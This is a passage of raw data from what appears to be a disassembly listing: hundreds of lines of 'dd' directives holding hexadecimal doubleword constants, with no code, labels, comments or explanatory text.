		dd 0C79AEC64h, 0DE3DF081h, 0B0ADE0h, 5708F43Ah,	0EAB72236h
		dd 0EF0AB500h, 0F98B2033h, 67780083h, 9AE6B35Bh, 1E078747h
		dd 0C230FE51h, 5531F100h, 9617268Ch, 13950060h,	0DE1F9171h
		dd 9C14920Eh, 159A2028h, 0F7CB4A8h, 2E71724Fh, 605F0D00h
		dd 0C30079E3h, 47E630E0h, 0EC9BC5Dh, 95108BC6h,	58AA84C0h
		dd 4638A30Dh, 0EABE00AEh, 679B4CFAh, 0ACC602C4h, 796414C9h
		dd 260948C0h, 921CA005h, 0B8808187h, 9F8F5Ch, 0AB49A51Dh
		dd 0E4A851B3h, 6C808D01h, 0B9D2CA1Ah, 3221870h,	0E55E5228h
		dd 580EC526h, 3D687h, 66E4B3F4h, 0DEE30054h, 0FFBA9D5Ch
		dd 0A900FBC2h, 0C61ACBCh, 0A0B021h, 76A6A50Ah, 90B95704h
		dd 0CC371500h, 1F222FABh, 7201E95h, 8DCE0082h, 1945B9C2h
		dd 56D07300h, 67EA8CF7h, 22010485h, 0C85257ACh,	841C5B08h
		dd 7780D12Bh, 0A021F3DBh, 1BA63987h, 0F7A77000h, 0A256ED93h
		dd 0CF2C1409h, 76360081h, 7618D5E8h, 0DE51C3Bh,	0F4B8801Ah
		dd 4CC3EEDh, 52B34802h,	840B022Eh, 8D0F2E0h, 811183BFh
		dd 0DAECD056h, 487F0200h, 8E2BEE0Eh, 2EB0D5h, 0F4ADA67Eh
		dd 299CAFBEh, 0EF445A03h, 88B6C4h, 0E5064D40h, 841776D7h
		dd 290C1300h, 0C58E5125h, 79BA004Ch, 0C67E576Dh, 3D0E3E1Dh
		dd 4054B627h, 640F9C45h, 6D9E03FFh, 20D2D823h, 9AD61F98h
		dd 74BB6F2Eh, 38DA8500h, 119D10h, 77CFA606h, 0A4F10FDCh
		dd 0EBA9071Eh, 0E54D8B81h, 9FEC3118h, 3D94129Ch, 0D86400B3h
		dd 4BB2A262h, 41B46600h, 82223488h, 40591D8Dh, 70741F9Ah
		dd 0B5CBC811h, 35D40200h, 55ACDC01h, 0A6D20152h, 63995CA3h
		dd 0EFB2F837h, 8DDA8C00h, 0FA4A762h, 6C0203ACh,	0DD9654A1h
		dd 0A34859A0h, 15A2AB00h, 6E113705h, 0D1850901h, 6E00FD7Fh
		dd 0CC06A438h, 0B0E9EEEh, 0E0C7D0B0h, 0D656BEACh, 9F42007Dh
		dd 0EA61CEAh, 9A0094AFh, 7959818Eh, 283873F8h, 8C2B27h
		dd 2139F072h, 5AF9EB4Eh, 90643428h, 0AD319900h,	429B0908h
		dd 0F01805BBh, 0D82E90CEh, 0F6001630h, 9F3BF443h, 26D67938h
		dd 80AC9B84h, 0B45A05ABh, 0CB02AFCCh, 9FB3F3EEh, 9D17C00Fh
		dd 47340FF0h, 4100D057h, 0CDAB981Bh, 805E1F3Ah,	32FBD45Dh
		dd 3813706Eh, 0E53B3566h, 3CF74686h, 0B200A08Bh, 0C03B2D90h
		dd 8B7F0h, 35DE0696h, 5BCD05FBh, 5485FE24h, 0A8CE003Eh
		dd 0C05375D4h, 0A7F009Ah, 8DAEBD9h, 2E24F915h, 0A400FC7Dh
		dd 5D654786h, 304AFC8Ah, 26188041h, 0CD0091D4h,	7B3B753Ah
		dd 3F7D5Fh, 85D6ACC7h, 0A58729DDh, 7ABD7200h, 0D77BB659h
		dd 7D7300EDh, 0A1FB9030h, 280071B8h, 640107DDh,	0B75E563h
		dd 4B912BA4h, 339C930Ah, 0B9F0B850h, 871F1D92h,	0CB807C37h
		dd 0EC51F2BFh, 0C22501B1h, 33EFA22h, 56E880DFh,	0CB86406Dh
		dd 517392h, 1C673298h, 88D3A343h, 17043900h, 488AD0C1h
		dd 94934C0Bh, 0A5F9AC03h, 0B58B2273h, 0BA1A1000h, 0A921A889h
		dd 0ADAF8B4h, 8D23CE49h, 0A1803E80h, 7974823Ch,	19030434h
		dd 0E61422EDh, 8D41002Ch, 273ECD28h, 4D751D25h,	4109905h
		dd 0C0165Fh, 3098B7h, 1741BEF3h, 609CB94Eh, 0D0D2FE00h
		dd 0FAB023ABh, 8DE900BAh, 0AF73F301h, 91075DBCh, 0FC26DA13h
		dd 5E45B0F1h, 3C99C9C4h, 7E1C03h, 7C3E9E44h, 731846Ah
		dd 0EF0B7E7Fh, 8A2646h,	5BB010D8h, 0DE7100DFh, 9B2DD681h
		dd 0D201EFBAh, 8165982h, 0EEDC5B9Ah, 2A0E0015h,	0DD67FD3Dh
		dd 13481191h, 0DA0001Ch, 8A1A30B2h, 0A6AC2E25h,	1E3407CDh
		dd 9BB7B08Bh, 0FFEEA7F3h, 0E383FD1Eh, 691B80BBh, 0E5A124EAh
		dd 0A5E636h, 0F53BB366h, 351C78B6h, 0B2041426h,	0E7E0B205h
		dd 4AC46080h, 8939005Ah, 0E5070662h, 2407EB7Ch,	0F98EB42Ah
		dd 6BC30960h, 8B7D383Bh, 0FC534980h, 0E63C8DF2h, 925F9600h
		dd 93DE63C1h, 102A13A3h, 0EEC4827Ah, 0C45A38C2h, 6733E700h
		dd 2239ECF6h, 1DF3FC4Fh, 0C0662FFAh, 2C58F798h,	0E101DA3Ch
		dd 0B86143E7h, 0BEE91F4Eh, 3DDC4180h, 667ACE32h, 6AC6CF00h
		dd 9C7F18FAh, 0A77307CDh, 0FA71E284h, 65830393h, 0BD9887D0h
		dd 34008BEAh, 0FEAF13C0h, 9AC354h, 4BC4ED63h, 816C8FABh
		dd 0C63D8090h, 77E48015h, 0E186DFD3h, 0E810004Ch, 0EC1FD61h
		dd 65004E1Bh, 0BA632892h, 31EC87Fh, 0D64649F1h,	5AD010B2h
		dd 0C48C0CBh, 54A60B9Ch, 5C58058h, 0E156271h, 23D1696h
		dd 0A3C3F21h, 50F720F2h, 0BB61F100h, 0C62EFB0Bh, 8A120230h
		dd 0FC2221E1h, 0AD915A40h, 441B4Ch, 0D90B0940h,	6AB9BDh
		dd 33F843C2h, 0EBE3F4F9h, 4CD41300h, 75DC4138h,	1EAF002Ch
		dd 0BCE0456Fh, 0DFE0D1A5h, 0C8C9F300h, 9C3E4FF1h, 0B4DC0037h
		dd 0A55BAD7h, 0D978B0E7h, 0E3793Dh, 0B9D45014h,	39E51E8h
		dd 0FFCE4F66h, 9DC840A8h, 0E30B394h, 0FA7711BBh, 8D720FD2h
		dd 1C879FC8h, 0EA147018h, 0A00089Eh, 8BBFC232h,	7AA4EDh
		dd 7D271AB4h, 0EAEF8A9Fh, 8C0A5A07h, 9B3087A9h,	0C397FDB2h
		dd 0ED08435Ah, 0D31C48C0h, 4A87E300h, 0FFE8A9ECh, 3BFD0196h
		dd 2EAFC739h, 0E043E09Eh, 53353D00h, 8464D2E3h,	0A747034Bh
		dd 75E12ACh, 343D91A8h,	0F776451Dh, 0CCD9AE80h,	944BFAh
		dd 0F5337D2Ch, 0C970891Ch, 22378000h, 6764255h,	0DC0907ACh
		dd 80BFB6F3h, 9C980758h, 63FF8900h, 0D8C50F8Dh,	997800DBh
		dd 511542CFh, 3D7DB114h, 0F795D600h, 3E4F5E8h, 56A000D5h
		dd 93E6492h, 8800ED24h,	0F560ABAEh, 0DB7533h, 0FB808CBAh
		dd 5439189Eh, 0B69A1916h, 0C7FE6A00h, 3E93135Ah, 4380C1B3h
		dd 7B92EC72h, 64794F33h, 0CFD11F00h, 8AC313F8h,	156A0197h
		dd 1B20AEBAh, 40A7D4C7h, 1F0E7E00h, 0F9838C74h,	0D19700B1h
		dd 0F718A250h, 0D600F080h, 19A8C86Dh, 2B46A9Bh,	17EB7AC5h
		dd 0F080FB9Ch, 3AFD3003h, 0A3005F74h, 93B479Bh,	0B04F2B76h
		dd 0E0290051h, 8C7A68D0h, 8F071D77h, 9B0C6CE4h,	4ACB2480h
		dd 0C7BF07C4h, 4048D70Ah, 2CE301B1h, 34F23670h,	1A49D012h
		dd 82AB3C00h, 0E4071C80h, 2A0A1C47h, 0A02EDAh, 0DC6A08EAh
		dd 71004BCBh, 1788C504h, 941889h, 9B6832CDh, 7DCA08FEh
		dd 1C4D1303h, 0B8DCFAABh, 0CD84F1h, 743E7F28h, 0F2B2AFA3h
		dd 7E036590h, 20191580h, 43BB806Ch, 26B0008Eh, 8B4EA784h
		dd 94F650B6h, 2B7A391Fh, 523DC240h, 0E3ED13h, 0F7DF2402h
		dd 5A302E2Fh, 0D56A4100h, 0CF5F8986h, 0B7FAA2h,	11786DA4h
		dd 6E241935h, 869D4100h, 822888C6h, 0AADA1F20h,	80E75E1Ch
		dd 0C3A3A0C1h, 6502FCB0h, 0D52105Fh, 3BC05F14h,	5300F181h
		dd 991106DEh, 1B042Fh, 0E15AF759h, 6124E555h, 0B4FD2103h
		dd 0B0329A0Fh, 3C034014h
		dd 33002F72h, 0E25204E4h, 2300DBE5h, 2E84C817h,	0BA444Ah
		dd 86EB1279h, 7719FDCFh, 9C00C690h, 1F330AA7h, 0FAC7C26h
		dd 3B129F84h, 0B3852541h, 5AB66082h, 0E17D9003h, 0F8775Fh
		dd 0DAABF7A0h, 5EFBCC95h, 3B7A40FAh, 0C9DCA18h,	14C8078h
		dd 1E56F8E9h, 43949A06h, 0CFC03BBCh, 2A00BF9Ch,	1DA79173h
		dd 770AF1h, 0DF23E969h,	0B892D75Bh, 37587A00h, 0BA719149h
		dd 6A1C19B2h, 0F8EF9647h, 17139F93h, 0F9029AFFh, 0E05734BBh
		dd 333677h, 6D82EE8Bh, 0F1A7FA55h, 0F4B20C28h, 5A3FAA78h
		dd 443200DBh, 0E6BB011Dh, 3C5F00C8h, 2373AE42h,	7400A47Bh
		dd 7A86BDF0h, 68DF31h, 91D78B2Eh, 0A05ECFEFh, 0EAF91800h
		dd 5B127FA3h, 0C8E65Ah,	6B111339h, 0CE55A067h, 0DCBC4300h
		dd 291E3197h, 0E8270017h, 419E097Ch, 0D601F772h, 4EDFC2FBh
		dd 682076B4h, 8CCA00C9h, 0ACFC5DD7h, 0FD003BC7h, 0E20C61BBh
		dd 15737CC0h, 0A4A7CCDCh, 24EC4102h, 68484F04h,	2739183Bh
		dd 96481Ch, 6422A995h, 283769E3h, 30C6495Dh, 0A2A89DADh
		dd 0BD1F04A4h, 6FC0B26Ch, 0E9153A7h, 0B944005Eh, 0F14D99F4h
		dd 0FD09512Ah, 86F9Ch, 6C398180h, 70976406h, 0A1881A0h
		dd 3ED1C848h, 847088F8h, 66D7AD00h, 1545CCE6h, 0C4E80044h
		dd 0E0E10D9Fh, 0C80085C3h, 0CC01A3AAh, 16E5C63h, 0F94111E3h
		dd 0DCC6C9A6h, 4700133Ch, 0D1EF8949h, 0B8F875h,	6ABD6BEAh
		dd 4A1AB6EBh, 0E9DFE100h, 7D509053h, 87C30070h,	0A91B4C10h
		dd 0DE07A7CAh, 0E7F53AD5h, 7A8548ACh, 0D7490046h, 205CC10h
		dd 9401EBB5h, 9E81B004h, 2830AA22h, 1CD8A0F5h, 397F1223h
		dd 59FC4EA7h, 26C0A86Fh, 5E01C9F2h, 143D9B00h, 1C683A65h
		dd 9A6C0128h, 354BE81Fh, 9700205Fh, 3C69CA03h, 0A06AF352h
		dd 4A49629h, 570D5E4Eh,	3874809Dh, 71073B7Eh, 5D75D5B0h
		dd 415A3742h, 583098B0h, 900CFAE6h, 0FD360F97h,	0DF401AD2h
		dd 45D9135Dh, 3A6CED13h, 2F180D00h, 0FEFD11h, 33C8E1E5h
		dd 6E4EEB8Ch, 0B605648h, 66C059Eh, 1057B1h, 0A37A192Eh
		dd 73C20CDh, 54938700h,	33182AE3h, 559E07DEh, 40C2CB96h
		dd 0F94CAF01h, 0FB309A06h, 0F21C3A8h, 0B4545B26h, 0AB2889E0h
		dd 57EA9BD8h, 3D023200h, 0AC63EEDFh, 6D340054h,	8DA3C82Eh
		dd 0E01D7340h, 35801D62h, 0EFE8EA39h, 2C8900C2h, 79DE3EF9h
		dd 6900B604h, 0A50E6E23h, 7BDF54F7h, 0C0AD0005h, 338A28FFh
		dd 0B761C21h, 0CDC79D00h, 0A4D6AFA0h, 3DE477h, 70742312h
		dd 0FC7B6FF8h, 0BE56A01h, 63B4E6E2h, 1ECE2BC4h,	0C095B7E4h
		dd 8747B886h, 530056A7h, 8FCB90EEh, 7194DCh, 446549DAh
		dd 0C52FC17Eh, 0E9EAD401h, 0D6254F62h, 6C73830h, 51929E99h
		dd 85A010D7h, 0E40054DEh, 4A47B72Ch, 0A75A94h, 72FA517h
		dd 0B128ECB6h, 84B650Fh, 70A000A1h, 3F0256h, 0AD61E368h
		dd 0B37BC838h, 12E0634Ch, 4C425E7Fh, 40319858h,	18BB8h
		dd 0DB9AF6FBh, 0EFC0EB9Dh, 0E6867000h, 6CC6FFD3h, 56B8C4h
		dd 0C126BDCDh, 5DC2E8E2h, 36E91804h, 84C03A9Dh,	6304033h
		dd 424B5A72h, 0F30044BEh, 8ACADFC1h, 0D98C9Eh, 268B9D97h
		dd 0CD839448h, 9900937Eh, 54F8800Ah, 3DE9DAEBh,	0C38376C4h
		dd 0A6752763h, 1A8C6B80h, 8F203A00h, 124F10EFh,	0CDFD0013h
		dd 29171B43h, 0E3F0F07h, 0FAF1004Dh, 22B3F5CAh,	0C830C01Fh
		dd 66741E04h, 61F141C3h, 0E434D0DCh, 64B007Eh, 0A4F358B3h
		dd 0F400ACB1h, 0AACCEE30h, 7CADB78h, 0DA6694F9h, 4EADB033h
		dd 0EF037996h, 518D98BBh, 804CE0BCh, 0C57B1DF2h, 487C042h
		dd 0D705CB5Dh, 0DF9CD201h, 88D6639h, 4A8C60h, 9EF094D9h
		dd 33FE6AD4h, 1A7A8203h, 0E1147BB4h, 0A4202D4Ah, 7D8500DAh
		dd 0E26A60DEh, 2700D4D2h, 5AF8C826h, 3A84F7h, 8BFD0D4Eh
		dd 64E98173h, 0FC48A67Fh, 52220037h, 0F44347EEh, 0FB27008Eh
		dd 9C8328B3h, 6AB8B29Eh, 90257A03h, 807E6FE1h, 6C22B64h
		dd 172DDDF9h, 0DC01A1D5h, 7EB50376h, 16E82355h,	82E0035Bh
		dd 3350A53Ch, 304460E1h, 0E7ECFE84h, 2F80C00h, 0F7AA939Fh
		dd 17F23FDCh, 0DC48FD14h, 96BC2302h, 8480FF49h,	12CB4B5Eh
		dd 284E506h, 4485032h, 0EE6FD3D7h, 194C882Ch, 0FE02220Fh
		dd 97FF408Eh, 0FC5DF39Bh, 18924C27h, 0A0AC890Fh, 7A78B60h
		dd 0C9004E1Eh, 8A2A8C5Dh, 860C1Ch, 786C27B4h, 24EDAE52h
		dd 7C319300h, 7DCC2945h, 0B86B1F18h, 90E432h, 0F8DA6E0Ch
		dd 6800FE98h, 0BA4E16F0h, 1C48778h, 0E0F1BF4Ah,	302D4FBCh
		dd 1A00E178h, 0D8F9ABA7h, 7E86387Bh, 5F2B02E4h,	0A44B2D80h
		dd 0F8E568C0h, 0E3452618h, 0E2D5A8B0h, 1E4F016Bh, 0DF5E6357h
		dd 0BA9AF87Dh, 0FB5D2500h, 6146B041h, 0DD6C1215h, 5AC00EDh
		dd 0D598EFC1h, 9714A600h, 57C9AF90h, 20DD60FEh,	5A312094h
		dd 0DE5BF900h, 63DAEA53h, 0B371587Fh, 30A0B70Fh, 4E21009Dh
		dd 0DD2DFBBDh, 0AFEB9103h, 0BB4DDBDCh, 0CA40C785h, 0B899B1DEh
		dd 0FE530010h, 1773C177h, 7B001BD1h, 2E511876h,	3A879E79h
		dd 78A2B0h, 3A8B8126h, 7A29EF8Ah, 74AC102h, 0C2AD1732h
		dd 90DB8078h, 8B9248h, 8E62AF8Ch, 0D9E9932Eh, 65F6B3E0h
		dd 0EF1A5A1Fh, 8FD6C5C1h, 8E81649h, 2F770038h, 0F4ADB001h
		dd 0E812A66Dh, 6100F369h, 3DED0F02h, 6C381C7Ch,	0C312838Fh
		dd 0F0D2F74Fh, 5CF27CE0h, 72CAE700h, 0EC4966DEh, 0D2DF0044h
		dd 4665C97Ah, 0D90042F3h, 3D4F99D0h, 0B72021h, 379E93B8h
		dd 0D56176Bh, 0A100BB77h, 0A3AFB80h, 0FA230E5Eh, 298C0140h
		dd 11149F8h, 369C7495h,	9DCE5900h, 295FFF5Eh, 26FD1F7Bh
		dd 16BA0073h, 1577D421h, 2192007h, 0EFE02322h, 52A09F5h
		dd 2D141F08h, 6D84834Fh, 99DAB000h, 3ECF71D5h, 0CEEAC1h
		dd 2051F0B1h, 0FABA272h, 0A18F2102h, 0E8FFEC50h, 15FD128h
		dd 0BA5BE54Eh, 0D0862609h, 0A100EEC2h, 0D3E97BECh, 104C70h
		dd 2D2F307Fh, 86881974h, 0E093DD01h, 823EB33Ah,	0F80BD063h
		dd 640072D3h, 454E0271h, 7F51202h, 0A6527709h, 80206FFCh
		dd 0E8FAFCh, 0F90795A1h, 5B113428h, 323C99C0h, 1EFEE34Fh
		dd 1693A51Fh, 34D8607Fh, 203084D7h, 0CD8531A4h,	148600EBh
		dd 9A362E5Fh, 0AE120E55h, 14015D9Eh, 87599338h,	4231D4h
		dd 3480432h, 0AD2C624Ah, 813FBC3Eh, 1DA596CDh, 5061E885h
		dd 43333181h, 0E0B383F3h, 1F01092Ah, 0CE24119Eh, 3E386DDh
		dd 0C5D4AB1Eh, 0EB9041F0h, 0EA72A95Bh, 8BB89C1Eh, 0EE0F2D00h
		dd 1BD82DDh, 9D01373Dh,	0E48EACA1h, 6A010ADBh, 4416CF46h
		dd 318DFFE8h, 9BE1C28Bh, 90E08611h, 0F3A839h, 0E21188C5h
		dd 1814C032h, 760007B0h, 83995C17h, 1E038563h, 80895E33h
		dd 688DD4D9h, 0CB00F466h, 0AF40791Dh, 255253Eh,	6736E156h
		dd 34C01230h, 7E02A145h, 858A65DEh, 76ECE040h, 0E9040098h
		dd 5C98334h, 0AC7E1259h, 0DF23E31Eh, 4C4B3FC0h,	3F77913h
		dd 6ED70D4Dh, 7C90A055h, 415CD6E9h, 56D8001Bh, 0DDA63B17h
		dd 9BC2007Fh, 0AAA8EC88h, 52003E4Ch, 0F6685A0Eh, 0C954E9h
		dd 0C44FFBA5h, 0A76BA2AEh, 838DBA00h, 0DBF0172Bh, 0F25717B6h
		dd 0F59C000Eh, 3DF390AAh, 8EB5A000h, 63B3EEFh, 4E90029h
		dd 0C283DBA3h, 0C63219FDh, 44398AB5h, 0D9960FDCh, 58C03638h
		dd 0A29FC10Fh, 0E4373324h, 0F131DA80h, 7BEDB60h, 4E5DD16Eh
		dd 0B4EDD0FBh, 323CAB64h
		dd 70B20035h, 8D9F920Ch, 6D02246Eh, 0A5CD4068h,	0ED0126F5h
		dd 0E32B3169h, 0A3C32555h, 0D0ECD2h, 1B5BF47h, 354DC205h
		dd 20106ED3h, 8AB09AB7h, 0DF542203h, 0C8E1B9FEh, 7BFB2D6h
		dd 74CCF040h, 10CE7015h, 5EF65D9Fh, 3A0071FEh, 0A61E039Ch
		dd 18906D47h, 0D9C695BAh, 0A900F942h, 0B3FDA3BCh, 0E8E7115Eh
		dd 797C76h, 0B20E05Dh, 596F7597h, 4140FE00h, 611F4F6Ah
		dd 0D4790250h, 308AB87h, 0F247EC80h, 0FC0F4B5Fh, 0A5FE4496h
		dd 0C05B30h, 30A6DA93h,	0E704B315h, 0C05C9E01h,	5F170036h
		dd 8C9B075Bh, 0A5611ED8h, 0FE27C045h, 3FDDA222h, 60E8CB02h
		dd 40C739AEh, 32EAB766h, 0B26056D1h, 6C88C0F5h,	0E2B79853h
		dd 407C00E0h, 2B5E1572h, 0D9011E8Ch, 54F2491h, 77C0FF8Eh
		dd 0B16305B6h, 54236Ch,	0D3BBDDFCh, 550EABF4h, 7FA4D0F8h
		dd 53323A40h, 7848592h,	5D5C71B9h, 3031574Fh, 4EECB278h
		dd 0C9005890h, 0C8D995AAh, 7A32FA5h, 0D6DEF70h,	9334F003h
		dd 2B9828B9h, 0F232B07h, 0A333619Ah, 8110025h, 3D214B44h
		dd 6B00E566h, 0BE3F6739h, 5810F59Ah, 0CD00D011h, 58F0A193h
		dd 0FC3C4F33h, 0F57F80A3h, 30DCE564h, 3C8001Eh,	4A7E585Dh
		dd 0E4608788h, 9FF08320h, 0E26D02B1h, 0D5FB33AEh, 54AE848h
		dd 0BA92200Bh, 0FF880996h, 0A27AD282h, 2BFD4060h, 78F1EB00h
		dd 3C05B7C1h, 909F0007h, 0F4CF96CCh, 72E6DD62h,	7899D300h
		dd 16528203h, 0F68B002h, 3384D4F8h, 0B2187C40h,	0F200127Dh
		dd 9E29E344h, 0A0FB6BF0h, 26B599h, 0AE728A22h, 4C822412h
		dd 0BF851A00h, 0F7A5DA0Ah, 0B89031F3h, 70B991A0h, 49093A96h
		dd 815A7FD8h, 0D1A014C0h, 3EB12D20h, 0F90425FAh, 0D0B48A0Fh
		dd 135F52D0h, 0E380C50Fh, 0A0E7CCC6h, 7F2800ACh, 0F64D460Ah
		dd 7C903588h, 0FB0F8FF4h, 8ECA3178h, 438E207Eh,	0BD819h
		dd 7D72E2E3h, 0E6D9C6DEh, 7B0634B8h, 83E54115h,	501D0011h
		dd 0C3713AC8h, 0BD00FBB1h, 0A8F51E1h, 1AAD4Dh, 0B06BFFDFh
		dd 586AD35Fh, 9A322A07h, 99C3FC8Eh, 8DA0B8D2h, 79540031h
		dd 0E2C96E43h, 0CD047DB9h, 4D2A568Ch, 1964B080h, 20A973B3h
		dd 0E00156Dh, 0E9DFC429h, 74760C5h, 4351C40h, 162CC03Bh
		dd 68783AEFh, 85A15400h, 6CF31B66h, 2B9D01BFh, 1786770Ah
		dd 801720B1h, 350CB000h, 0C4D9DDF7h, 0C5E70037h, 462D825Eh
		dd 8400FB30h, 0BFE4CDA8h, 477F09h, 0FEE270B3h, 13E98EA2h
		dd 5E482C90h, 0DE2B0FACh, 68C04752h, 0D6633310h, 0C879FDh
		dd 713D674Fh, 80D9EBF5h, 5492C31Ch, 0D8144300h,	298F976h
		dd 0EC75F756h, 22E15EB7h, 54DC4307h, 1F334E00h,	0E98615EAh
		dd 0C3721CDBh, 0CBD88025h, 40D0E434h, 5DA9AC0Fh, 59282269h
		dd 0AB9C8031h, 72785E66h, 4316001Dh, 1356325Bh,	0FFFE1E70h
		dd 0C5C2A700h, 0F5CBBFEh, 648305E9h, 0C06911A3h, 0E0ABB748h
		dd 0D519B00h, 0A4D7FCFFh, 2C8901Ah, 6CBFFDBBh, 0DE54691Ch
		dd 79654503h, 0A311F8C7h, 5B160315h, 0F01921AEh, 0CEACB1D0h
		dd 632C480Eh, 8EAB811Dh, 54701BD1h, 0BAEF00A3h,	0E63E1F43h
		dd 4B0FCB8h, 73F55A00h,	2FF9C85Eh, 0A86600E2h, 41C6493Ch
		dd 16073772h, 0A9306C0h, 0FE9B02CFh, 5C7015h, 319855FAh
		dd 49732720h, 90930C00h, 786B8268h, 0D14B0E30h,	0D240DAC5h
		dd 13A53EDFh, 9AEC2600h, 14C9E6ABh, 256300E0h, 0F7654BBFh
		dd 2E001679h, 6202AE37h, 0D5A2A9h, 7CC2D9D1h, 0AF94B88Dh
		dd 7B838F1Fh, 555172C0h, 0CDD89Bh, 2546B45Bh, 0A07ABD05h
		dd 8065D23Fh, 0E7E9CBC5h, 768EAE2h, 0FC322B4Dh,	7D27C0B3h
		dd 21006E34h, 7B243C7Eh, 88465Dh, 2F392CEFh, 26A81D12h
		dd 8CFFF500h, 9308E932h, 0D0C400FDh, 95DF84F7h,	0C7029A5Dh
		dd 746BDDAAh, 0D36D40F1h, 12620268h, 0BC0D2630h, 92002C64h
		dd 8986EC90h, 0C34E8Dh,	7EDF999Ah, 0B108775Ch, 16C0548h
		dd 4D33B764h, 0E4604FE1h, 21F6040Ah, 8782A08Fh,	0F7617104h
		dd 0F5F687DCh, 1F10C06Fh, 77B810Bh, 1D5B19ABh, 97D4D337h
		dd 0AADF31A0h, 38F4A82Ch, 6ABEAD00h, 0F0FF4065h, 0DCE0082h
		dd 0B2D3C95Ah, 0F585483h, 818C004Fh, 0EBC4B742h, 9EEEA1h
		dd 229F455h, 0DE9DD00Dh, 15F33801h, 8D2E4E31h, 7D902080h
		dd 7E3987DCh, 1D0069B0h, 0F15128E0h, 3CE3523h, 0A4A63ECBh
		dd 0A72B33h, 4C260E42h,	0A38BB900h, 0ADB2DB6Ah,	690700BAh
		dd 0DE3E98C8h, 0B8B84261h, 7BB8344Ch, 7E119B65h, 60084881h
		dd 0DB6B1180h, 0EE8516B8h, 36B9BD00h, 0B6FBB28Dh, 1E610121h
		dd 0EF5262FCh, 0D39D6042h, 9CBA233Bh, 0A16789FDh, 939C03ECh
		dd 86003C78h, 5E305DB5h, 0D20BB306h, 0D5117Ch, 56197F34h
		dd 6E6C2ED8h, 0ABFB054Ch, 60A4D0C6h, 8F74E50Bh,	15BF2Dh
		dd 0CAB7EB2Ch, 11F76744h, 0D24FD095h, 0E202AEFBh, 0B8B7099Dh
		dd 0DE407DE6h, 0EAEEB4A2h, 0AF019502h, 0E0C09263h, 18B15D1Dh
		dd 9059C4B5h, 6E00D699h, 63DB71D2h, 779ED5h, 669C16EEh
		dd 0D083C0A0h, 23A96400h, 12D69B0h, 49E8FFh, 6BEA2BE4h
		dd 0C4E838F6h, 0D4E9AF00h, 72EF8EE2h, 0C67302FFh, 5CB6EC5h
		dd 303C8A80h, 0BCB8961Ah, 4ADDC016h, 80A20483h,	0C79E0Eh
		dd 31A4A15Dh, 878045A9h, 0F900AE7Fh, 5012DBD3h,	1DE556F8h
		dd 0AEA67h, 64EA3E0h, 0AC04965Fh, 18D8984Fh, 90884CC8h
		dd 0AFB10354h, 0BCEEFDEBh, 890C3E4h, 0AE509CC0h, 0B04CCD26h
		dd 7880301Ch, 0F9D66B4Eh, 60DE0179h, 273B6E03h,	9CD2E850h
		dd 0FFA5C701h, 7CDD0B53h, 0B387E4h, 4B9B2A79h, 0C9380866h
		dd 0D1EB9400h, 0DF97CEB4h, 3D4E0187h, 0B6173F9Eh, 0D2BEC851h
		dd 3B988D00h, 230A5319h, 802558DFh, 32F6380h, 3C0090D5h
		dd 5455BA56h, 4CA1C30Ch, 0C800E42Dh, 3D622E74h,	8E12E47Ch
		dd 9C00CFBCh, 7A56EECBh, 0B5DF0032h, 57BBFDF9h,	930FCEEAh
		dd 6BFBE7F8h, 0CA780055h, 79CF6017h, 0D830F5C6h, 844E1C9Ah
		dd 809F1EF0h, 8BA78685h, 0AFF61858h, 0F435A100h, 10F6A254h
		dd 8544001Ch, 7DC9B9EFh, 9C008B90h, 0A3777697h,	7E03986h
		dd 0E7EC1731h, 0BA7D0E1h, 9E006478h, 38AD78Dh, 18947311h
		dd 48514212h, 0CE18A3E7h, 9159F358h, 15530121h,	0A8772752h
		dd 941BF8F6h, 9CF07400h, 0B2F80BA6h, 0C4953DA9h, 7D96DD01h
		dd 0CBFAB310h, 1B13DCE0h, 0C543CA03h, 0F87F83BAh, 9090FE7h
		dd 0B54B5877h, 38C7F780h, 3F0B4E55h, 8FD5DDC1h,	3D59E014h
		dd 0B4DFBFh, 8ACDB3Ah, 8A2A4372h, 0AEC4F200h, 27B96FFEh
		dd 68F50281h, 995A4057h, 0F7F4BCE0h, 92985B3Dh,	0C85E1DB6h
		dd 40E7B7CFh, 88AA0C8Eh, 0BBB803CBh, 6D1277E9h,	0ABD0E898h
		dd 450BF092h, 405A21A8h, 7B73B9E0h, 1BB7024Bh, 5CDCE075h
		dd 77BC48E0h, 0A6B81600h, 0D3734092h, 8D871399h, 8C63002Ch
		dd 8F238A20h, 9F720101h, 710E5355h, 384BCC0h, 38DD0D7h
		dd 80ECF04Eh, 0F64B8E24h, 26369704h, 40A86AE6h,	1578CF00h
		dd 6FF8B699h, 0DDE94A09h, 79508591h, 137AB2C1h,	59F0CC40h
		dd 1A900137h, 0CEB05FD5h, 0F800E366h, 48E887FBh, 0B0960317h
		dd 501600EBh, 0D0D4580Ah, 0DF1D4FA4h, 0E0894E79h, 763A0EBBh
		dd 33AB2030h, 95CA0630h, 0C891CB8Dh, 0E9F6D309h, 0DBE4008Eh
		dd 4D0B0F58h, 153CA86Ch, 56A14C80h, 82ACDAC7h, 48279900h
		dd 3E5B92D7h, 0F658009Bh, 4F323878h, 6668392Dh,	6800B494h
		dd 35FF515h, 9BA000B3h
		dd 28D3BAF6h, 0A905E731h, 36661222h, 5A07F000h,	9DA97EBh
		dd 0B7175CD4h, 0EE026D00h, 22002708h, 0FD71078Ah, 0A0FDF2Eh
		dd 0DDB7E955h, 56A001BCh, 204EC3D6h, 0B613AF58h, 0EF1C0D25h
		dd 802DB30Bh, 0B0A3AD04h, 0B99D00CAh, 0C2710130h, 0A1519E70h
		dd 0C09AD1D4h, 0B50094FCh, 41CB676h, 3EB8F4h, 630D317Bh
		dd 85A15B1Ah, 2C0030E6h, 815A18CCh, 1D56760Fh, 8126CB0Ah
		dd 0EAEF77FCh, 0FEB430C3h, 9470F85Ah, 0F2F9158Ah, 9DC4BEDAh
		dd 0BE8079F3h, 6529A09Dh, 0C0B0992Ah, 0DD522E04h, 0F0C0FE80h
		dd 58462C7Bh, 0E007205Ah, 10386B8Ah, 7423727Ah,	86CA748h
		dd 18D98D9h, 173497D0h,	427F6004h, 0B60FAE03h, 0C8FB37C9h
		dd 12FA456Bh, 80920380h, 8AA6A14Ch, 3025CA74h, 9D90C075h
		dd 726B00A5h, 0A0D50B85h, 0C100FAE7h, 0D9591631h, 1D3E4F13h
		dd 8041CF12h, 172DB555h, 2A008037h, 6FE3B1E7h, 978CF2h
		dd 0EF981983h, 176489CFh, 4941FD01h, 0D45EBF43h, 6FC1C880h
		dd 7A19153Fh, 0F6231600h, 4CFE0D65h, 184700E4h,	1168501Ah
